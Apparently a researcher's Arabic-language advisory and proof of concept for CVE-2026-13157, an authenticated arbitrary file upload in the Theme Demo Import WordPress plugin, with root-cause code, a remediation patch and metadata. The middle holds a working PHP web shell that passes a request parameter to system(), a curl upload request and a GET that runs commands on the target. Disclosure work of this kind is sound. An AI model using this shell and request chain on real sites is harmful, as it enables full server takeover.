
إثبات المفهوم وتحليل السبب الجذري لثغرة رفع ملفات تعسّفي بعد المصادقة في WordPress Theme Demo Import تؤدي إلى تنفيذ تعليمات برمجية عن بُعد عبر قشرة ويب PHP.
تُعد CVE-2026-13157 ثغرة رفع ملفات تعسفي تتطلب مصادقة، وتؤثر على إضافة Theme Demo Import لووردبريس في الإصدارات حتى 1.1.3 وما يشمله، وقد اكتشفها وحللها باحث الأمن السيبراني Huynh Kien Minh (MinhHK). توجد الثغرة داخل روتين استيراد العرض التجريبي عبر AJAX (TDI_import_demo_data)، حيث تعطّل الإضافة صراحةً اختبارات ووردبريس القياسية للتحقق من نوع الملف ('test_type' => false) أثناء معالجة الرفع. يمكن لمستخدم موثَّق يمتلك صلاحيات الاستيراد — مثل مسؤول الموقع الافتراضي أو مسؤول موقع غير Super Admin في بنية ووردبريس متعددة المواقع (Multisite) — تجاوز إنفاذ قيود الملفات لرفع نصوص PHP قابلة للتنفيذ بشكل تعسفي مباشرةً إلى الدليل العام wp-content/uploads/، محققًا تنفيذ أوامر عن بُعد (RCE) مستدامًا واختراقًا كاملًا للخادم.
يكمن السبب الجذري لثغرة CVE-2026-13157 في معمارية معالجة رفع الملفات المُنفَّذة في inc/class-tdi-helpers.php. أثناء عمليات استيراد بيانات العرض التجريبي، تتعامل الإضافة مع مرفقات الملفات الواردة عبر نقطة نهاية AJAX المسجَّلة في inc/class-tdi-main.php عند السطر 55:
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );
عند معالجة ملفات إعداد العرض التجريبي المُرفوعة (content_file وwidget_file وcustomizer_file)، يوجّه أسلوب الاستيراد الداخلي واجهة برمجة التطبيقات wp_handle_upload() في ووردبريس مباشرةً إلى تجاوز فحوصات التحقق من نوع MIME والنموذج:
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);
// Handle demo content and widgets file upload.
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
بتمرير 'test_type' => false إلى $upload_overrides، تجاوز المطوّر النظام الفرعي الأساسي للتحقق من MIME في ووردبريس (wp_check_filetype_and_ext()). وكنتيجة مباشرة، لم يعد التطبيق يقيّد مرفقات الملفات ببيانات العرض التجريبي الآمنة (.xml و.json و.wie و.dat)، مما يسمح لأي مستخدم موثَّق يملك حق الوصول إلى صفحة الإعدادات برفع نصوص PHP قابلة للتنفيذ (.php و.phtml و.phar) مباشرةً إلى جذر المستندات العام.
إخلاء مسؤولية البحث الأخلاقي: يُوثَّق إثبات المفهوم هذا بشكل صارم لأغراض التدقيق التعليمي والهندسة الدفاعية والتحقق الأمني المصرح به. يُحظر الاستغلال غير المصرح به للأنظمة الحية.
<= 1.1.3.import (مسؤول / مسؤول موقع في Multisite).tdi-ajax-verification (المكشوف في DOM الصفحة كخاصية كائن JavaScript باسم tdi.ajax_nonce على /wp-admin/themes.php?page=theme-demo-import).exploit_webshell.php:<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
} else {
echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
-F "action=TDI_import_demo_data" \
-F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
-F "content_file=@exploit_webshell.php;type=application/x-php"
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>
بينما تمنح تثبيتات ووردبريس أحادية الموقع للمسؤولين القياسيين سيطرة موثوقة على بيئة الخادم، تُحدث CVE-2026-13157 انهيارًا خطيرًا للحدود الأمنية في النشر المؤسسي ومتعدد المواقع (Multisite):
unfiltered_upload محجوزة حصريًا لمشرفي الشبكة Super Admins). تحطّم CVE-2026-13157 هذا العزل بين المستأجرين المتعددين تمامًا، مما يتيح لمسؤول موقع فرعي غير موثوق إسقاط ويب شل وتنفيذ أوامر النظام عبر شبكة الخادم بأكملها.DISALLOW_FILE_EDIT). تلتف هذه الثغرة حول قيود الاستضافة عبر استغلال آلية نقل الملفات الأصلية للإضافة لكتابة كود قابل للتنفيذ تعسفي مباشرةً في وحدة التخزين القابلة للكتابة.لحل CVE-2026-13157 بشكل آمن، يجب على القائمين على صيانة البرمجيات ومهندسي الدفاع إعادة فرض التحقق الصارم من نوع MIME وامتداد الملف فورًا داخل منطق معالجة الرفع في inc/class-tdi-helpers.php.
احذف التجاوز غير الآمن 'test_type' => false وفرض قائمة سماح صارمة مقيّدة حصريًا بهياكل التصدير القياسية في ووردبريس (text/xml وapplication/json):
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
'test_form' => false,
'test_type' => true, // Enforce strict core file-type verification
'mimes' => array(
'xml' => 'text/xml',
'json' => 'application/json',
'wie' => 'application/json',
'dat' => 'text/plain',
),
);
// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}
// Proceed with validated file handling
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
Huynh Kien Minh (MinhHK) هو باحث في أمن المعلومات، ومطوّر برمجيات، ومحلل ثغرات متخصص في أمن تطبيقات الويب الهجومي، وتدقيق معمارية تطبيقات PHP، ونواقل الاستغلال المؤسسية. وقد حظيت اكتشافاته واستشاراته الفنية باعتراف رسمي من كبرى قواعد بيانات الثغرات العالمية وسلطات تسمية أمان المنتجات.
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
"headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
"alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"inLanguage": "en-US",
"description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
"keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
},
{
"@type": "SecurityAdvisory",
"@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
"identifier": "CVE-2026-13157",
"name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
"category": "Arbitrary File Upload / RCE",
"cvssScore": "6.6",
"severity": "Medium",
"softwareVersion": "<= 1.1.3",
"url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
}
]
}
| المعلمة | المواصفات الفنية |
|---|
| معرّف الثغرة | CVE-2026-13157 |
| البرنامج المستهدف | Theme Demo Import (إضافة ووردبريس) |
| معرّف الإضافة (Slug) | theme-demo-import |
| الإصدارات المتأثرة | <= 1.1.3 |
| تصنيف الثغرة | رفع غير مقيد لملف بنوع خطير (CWE-434 / OWASP A03) |
| درجة CVSS v3.1 | 6.6 (متوسطة) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| المكتشف / الباحث | Huynh Kien Minh (MinhHK) |
| جهة التحقق | WPScan / MITRE Corporation |
| رابط استشارة WPScan | https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/ |
| ملف الباحث | https://minhhk.web.app/ |